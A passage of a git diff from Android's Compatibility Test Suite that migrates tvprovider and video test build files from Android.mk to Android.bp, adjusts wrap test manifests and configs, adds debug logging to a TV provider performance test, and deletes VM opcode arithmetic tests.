     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWrapWrapDebugTestCases.apk" />
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk b/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
index 336c7bd..bdbbe25 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
@@ -42,6 +42,8 @@
 # Jarjar to make WrapTest unique.
 LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 
+LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
+
 include $(BUILD_PACKAGE)
 
 include $(CLEAR_VARS)
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
index 47c1847..d00194b 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
@@ -18,7 +18,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.wrap.wrap_debug_malloc_debug.cts">
 
-    <application android:debuggable="true">
+    <!-- Ensure that wrap.sh is extracted. -->
+    <application android:debuggable="true" android:extractNativeLibs="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.wrap.cts.expext_env" android:value="true" />
         <activity android:name="android.wrap.WrapActivity" >
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
index 2faff68..f1f42a1 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
@@ -17,6 +17,8 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="not-shardable" value="true" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWrapWrapDebugMallocDebugTestCases.apk" />
diff --git a/tests/tests/wrap/wrap_nodebug/Android.mk b/tests/tests/wrap/wrap_nodebug/Android.mk
index 15081b7..3aefa35 100644
--- a/tests/tests/wrap/wrap_nodebug/Android.mk
+++ b/tests/tests/wrap/wrap_nodebug/Android.mk
@@ -42,6 +42,8 @@
 # Jarjar to make WrapTest unique.
 LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 
+LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
+
 include $(BUILD_PACKAGE)
 
 include $(CLEAR_VARS)
diff --git a/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml b/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
index 60a2888..9504883 100644
--- a/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
@@ -18,7 +18,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.wrap.wrap_nodebug.cts">
 
-    <application>
+    <!-- Ensure that wrap.sh is extracted. -->
+    <application android:extractNativeLibs="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.wrap.cts.expext_env" android:value="false" />
         <activity android:name="android.wrap.WrapActivity" >
diff --git a/tests/tests/wrap/wrap_nodebug/AndroidTest.xml b/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
index dc547cf..b9481df 100644
--- a/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
@@ -17,6 +17,8 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="not-shardable" value="true" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWrapWrapNoDebugTestCases.apk" />
diff --git a/tests/tvprovider/Android.bp b/tests/tvprovider/Android.bp
new file mode 100644
index 0000000..ad5fc22
--- /dev/null
+++ b/tests/tvprovider/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsTvProviderTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tvprovider/Android.mk b/tests/tvprovider/Android.mk
deleted file mode 100644
index cccf2c1..0000000
--- a/tests/tvprovider/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsTvProviderTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
diff --git a/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java b/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
index e18df4c..ac8eed99 100644
--- a/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
+++ b/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
@@ -30,6 +30,7 @@
 import android.media.tv.TvContract.Programs;
 import android.net.Uri;
 import android.os.RemoteException;
+import android.util.Log;
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.compatibility.common.util.DeviceReportLog;
@@ -51,6 +52,7 @@
     private static final int TRANSACTION_RUNS = 100;
     private static final int QUERY_RUNS = 10;
     private static final String REPORT_LOG_NAME = "CtsTvProviderTestCases";
+    private static final String TAG = "TvProviderPerfTest";
 
     private ContentResolver mContentResolver;
     private String mInputId;
@@ -81,7 +83,7 @@
         if (!mHasTvInputFramework) return;
         double[] averages = new double[5];
 
-        // Insert
+        Log.d(TAG, "Insert");
         final ArrayList<ContentProviderOperation> operations = new ArrayList<>();
         final int TRANSACTION_SIZE = 1000;
         double[] applyBatchTimes = MeasureTime.measure(TRANSACTION_RUNS, new MeasureRun() {
@@ -116,7 +118,7 @@
                 ResultUnit.MS);
         averages[0] = Stat.getAverage(applyBatchTimes);
 
-        // Update
+        Log.d(TAG, "Update");
         final String[] projection = { Channels._ID };
         try (final Cursor cursor = mContentResolver.query(Channels.CONTENT_URI,
                 projection, null, null, null)) {
@@ -144,7 +146,7 @@
                 ResultUnit.MS);
         averages[1] = Stat.getAverage(applyBatchTimes);
 
-        // Query channels
+        Log.d(TAG, "Query channels");
         applyBatchTimes = MeasureTime.measure(QUERY_RUNS, new MeasureRun() {
             @Override
             public void run(int i) {
@@ -160,7 +162,7 @@
                 ResultType.LOWER_BETTER, ResultUnit.MS);
         averages[2] = Stat.getAverage(applyBatchTimes);
 
-        // Query a channel
+        Log.d(TAG, "Query a channel");
         try (final Cursor cursor = mContentResolver.query(Channels.CONTENT_URI,
                 projection, null, null, null)) {
             applyBatchTimes = MeasureTime.measure(QUERY_RUNS, new MeasureRun() {
@@ -180,7 +182,7 @@
                 ResultType.LOWER_BETTER, ResultUnit.MS);
         averages[3] = Stat.getAverage(applyBatchTimes);
 
-        // Delete
+        Log.d(TAG, "Delete");
         applyBatchTimes = MeasureTime.measure(1, new MeasureRun() {
             @Override
             public void run(int i) {
@@ -200,7 +202,7 @@
         if (!mHasTvInputFramework) return;
         double[] averages = new double[7];
 
-        // Prepare (insert channels)
+        Log.d(TAG, "Prepare (insert channels)");
         final ArrayList<ContentProviderOperation> operations = new ArrayList<>();
         final int TRANSACTION_SIZE = 1000;
         final int NUM_CHANNELS = 100;
@@ -227,7 +229,7 @@
             throw new RuntimeException(e);
         }
 
-        // Insert
+        Log.d(TAG, "Insert programs");
         double[] applyBatchTimes = MeasureTime.measure(NUM_CHANNELS, new MeasureRun() {
             @Override
             public void run(int i) {
@@ -254,7 +256,7 @@
                 ResultUnit.MS);
         averages[0] = Stat.getAverage(applyBatchTimes);
 
-        // Update
+        Log.d(TAG, "Update programs");
         final long PROGRAM_DURATION_MS = 60 * 1000;
         final String[] projection = { Programs._ID };
         applyBatchTimes = MeasureTime.measure(NUM_CHANNELS, new MeasureRun() {
@@ -289,7 +291,7 @@
                 ResultUnit.MS);
         averages[1] = Stat.getAverage(applyBatchTimes);
 
-        // Query programs
+        Log.d(TAG, "Query programs");
         applyBatchTimes = MeasureTime.measure(QUERY_RUNS, new MeasureRun() {
             @Override
             public void run(int i) {
@@ -305,7 +307,7 @@
                 ResultType.LOWER_BETTER, ResultUnit.MS);
         averages[2] = Stat.getAverage(applyBatchTimes);
 
-        // Query programs with selection
+        Log.d(TAG, "Query programs with selection");
         applyBatchTimes = MeasureTime.measure(QUERY_RUNS, new MeasureRun() {
             @Override
             public void run(int i) {
@@ -325,7 +327,7 @@
                 ResultType.LOWER_BETTER, ResultUnit.MS);
         averages[3] = Stat.getAverage(applyBatchTimes);
 
-        // Query a program
+        Log.d(TAG, "Query a program");
         try (final Cursor cursor = mContentResolver.query(Programs.CONTENT_URI,
                 projection, null, null, null)) {
             applyBatchTimes = MeasureTime.measure(QUERY_RUNS, new MeasureRun() {
@@ -345,7 +347,7 @@
                 ResultType.LOWER_BETTER, ResultUnit.MS);
         averages[4] = Stat.getAverage(applyBatchTimes);
 
-        // Delete programs
+        Log.d(TAG, "Delete programs");
         applyBatchTimes = MeasureTime.measure(NUM_CHANNELS, new MeasureRun() {
             @Override
             public void run(int i) {
@@ -362,7 +364,7 @@
                 ResultType.LOWER_BETTER, ResultUnit.MS);
         averages[5] = Stat.getAverage(applyBatchTimes);
 
-        // Delete channels
+        Log.d(TAG, "Delete channels");
         applyBatchTimes = MeasureTime.measure(NUM_CHANNELS, new MeasureRun() {
             @Override
             public void run(int i) {
diff --git a/tests/video/Android.bp b/tests/video/Android.bp
new file mode 100644
index 0000000..aeb08cf
--- /dev/null
+++ b/tests/video/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsVideoTestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    static_libs: [
+        "ctsmediautil",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    jni_libs: [
+        "libctscodecutils_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/video/Android.mk b/tests/video/Android.mk
deleted file mode 100644
index f922734..0000000
--- a/tests/video/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil compatibility-device-util-axt ctstestrunner-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_JNI_SHARED_LIBRARIES := libctscodecutils_jni libnativehelper_compat_libc++
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsVideoTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
diff --git a/tests/vm/Android.mk b/tests/vm/Android.mk
deleted file mode 100755
index 033f3ff..0000000
--- a/tests/vm/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsVmTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/vm/AndroidManifest.xml b/tests/vm/AndroidManifest.xml
deleted file mode 100755
index a08228b..0000000
--- a/tests/vm/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.vm.cts">
-
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS VM test cases"
-        android:targetPackage="android.vm.cts" >
-    </instrumentation>
-</manifest>
-
diff --git a/tests/vm/AndroidTest.xml b/tests/vm/AndroidTest.xml
deleted file mode 100644
index 4035349..0000000
--- a/tests/vm/AndroidTest.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS VM test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="art" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsVmTestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.vm.cts" />
-        <option name="runtime-hint" value="20m14s" />
-    </test>
-</configuration>
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_double/AddDoubleTest.java b/tests/vm/src/android/vm/cts/opcodes/add_double/AddDoubleTest.java
deleted file mode 100644
index ba5a41d..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_double/AddDoubleTest.java
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.vm.cts.opcodes.add_double;
-
-import junit.framework.TestCase;
-
-public class AddDoubleTest extends TestCase {
-
-    /**
-     * @title Arguments = 2.7d, 3.14d
-     */
-    public void testN1() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(5.84d, t.run(2.7d, 3.14d));
-    }
-
-    /**
-     * @title Arguments = 0, -3.14d
-     */
-    public void testN2() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(-3.14d, t.run(0, -3.14d));
-    }
-
-    /**
-     * @title Arguments = -3.14d, -2.7d
-     */
-    public void testN3() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(-5.84d, t.run(-3.14d, -2.7d));
-    }
-
-    /**
-     * @title Arguments = Double.MAX_VALUE, Double.NaN
-     */
-    public void testB1() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(Double.NaN, t.run(Double.MAX_VALUE, Double.NaN));
-    }
-
-    /**
-     * @title Arguments = Double.POSITIVE_INFINITY,
-     * Double.NEGATIVE_INFINITY
-     */
-    public void testB2() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(Double.NaN, t.run(Double.POSITIVE_INFINITY, Double.NEGATIVE_INFINITY));
-    }
-
-    /**
-     * @title Arguments = Double.POSITIVE_INFINITY,
-     * Double.POSITIVE_INFINITY
-     */
-    public void testB3() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(Double.POSITIVE_INFINITY, t.run(Double.POSITIVE_INFINITY,
-                Double.POSITIVE_INFINITY));
-    }
-
-    /**
-     * @title Arguments = Double.POSITIVE_INFINITY, -2.7d
-     */
-    public void testB4() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(Double.POSITIVE_INFINITY, t.run(Double.POSITIVE_INFINITY, -2.7d));
-    }
-
-    /**
-     * @title Arguments = +0, -0
-     */
-    public void testB5() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(+0d, t.run(+0d, -0d));
-    }
-
-    /**
-     * @title Arguments = -0d, -0d
-     */
-    public void testB6() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(-0d, t.run(-0d, -0d));
-    }
-
-    /**
-     * @title Arguments = -2.7d, 2.7d
-     */
-    public void testB7() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(+0d, t.run(-2.7d, 2.7d));
-    }
-
-    /**
-     * @title Arguments = Double.MAX_VALUE, Double.MAX_VALUE
-     */
-    public void testB8() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(Double.POSITIVE_INFINITY, t.run(Double.MAX_VALUE, Double.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Double.MIN_VALUE, -4.9E-324
-     */
-    public void testB9() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(0d, t.run(Double.MIN_VALUE, -4.9E-324));
-    }
-
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_double/AddDouble_1.java b/tests/vm/src/android/vm/cts/opcodes/add_double/AddDouble_1.java
deleted file mode 100644
index d4ebed2..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_double/AddDouble_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_double;
-
-public class AddDouble_1 {
-
-    public double run(double a, double b) {
-        return a + b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_double/AddDouble_3.java b/tests/vm/src/android/vm/cts/opcodes/add_double/AddDouble_3.java
deleted file mode 100644
index 587a68b..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_double/AddDouble_3.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_double;
-
-public class AddDouble_3 {
-
-    public double run(long a, double b) {
-        return 1;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2AddrTest.java b/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2AddrTest.java
deleted file mode 100644
index 27de92c..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2AddrTest.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_double_2addr;
-
-import junit.framework.TestCase;
-
-public class AddDouble2AddrTest extends TestCase {
-    /**
-     * @title Arguments = 2.7d, 3.14d
-     */
-    public void testN1() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(5.84d, t.run(2.7d, 3.14d));
-    }
-
-    /**
-     * @title Arguments = 0, -3.14d
-     */
-    public void testN2() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(-3.14d, t.run(0, -3.14d));
-    }
-
-    /**
-     * @title Arguments = -3.14d, -2.7d
-     */
-    public void testN3() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(-5.84d, t.run(-3.14d, -2.7d));
-    }
-
-    /**
-     * @title Arguments = Double.MAX_VALUE, Double.NaN
-     */
-    public void testB1() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(Double.NaN, t.run(Double.MAX_VALUE, Double.NaN));
-    }
-
-    /**
-     * @title Arguments = Double.POSITIVE_INFINITY,
-     * Double.NEGATIVE_INFINITY
-     */
-    public void testB2() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(Double.NaN, t.run(Double.POSITIVE_INFINITY,
-                Double.NEGATIVE_INFINITY));
-    }
-
-    /**
-     * @title Arguments = Double.POSITIVE_INFINITY,
-     * Double.POSITIVE_INFINITY
-     */
-    public void testB3() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(Double.POSITIVE_INFINITY, t.run(Double.POSITIVE_INFINITY,
-                Double.POSITIVE_INFINITY));
-    }
-
-    /**
-     * @title Arguments = Double.POSITIVE_INFINITY, -2.7d
-     */
-    public void testB4() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(Double.POSITIVE_INFINITY, t.run(Double.POSITIVE_INFINITY,
-                -2.7d));
-    }
-
-    /**
-     * @title Arguments = +0, -0
-     */
-    public void testB5() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(+0d, t.run(+0d, -0d));
-    }
-
-    /**
-     * @title Arguments = -0d, -0d
-     */
-    public void testB6() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(-0d, t.run(-0d, -0d));
-    }
-
-    /**
-     * @title Arguments = -2.7d, 2.7d
-     */
-    public void testB7() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(+0d, t.run(-2.7d, 2.7d));
-    }
-
-    /**
-     * @title Arguments = Double.MAX_VALUE, Double.MAX_VALUE
-     */
-    public void testB8() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(Double.POSITIVE_INFINITY, t.run(Double.MAX_VALUE,
-                Double.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Double.MIN_VALUE, -4.9E-324
-     */
-    public void testB9() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(0d, t.run(Double.MIN_VALUE, -4.9E-324));
-    }
-
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2Addr_1.java b/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2Addr_1.java
deleted file mode 100644
index 2536113..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2Addr_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_double_2addr;
-
-public class AddDouble2Addr_1 {
-
-    public double run(double a, double b) {
-        return a + b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2Addr_3.java b/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2Addr_3.java
deleted file mode 100644
index 7ed1fe8..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2Addr_3.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_double_2addr;
-
-public class AddDouble2Addr_3 {
-
-    public double run(long a) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloatTest.java b/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloatTest.java
deleted file mode 100644
index 76490b0..0000000
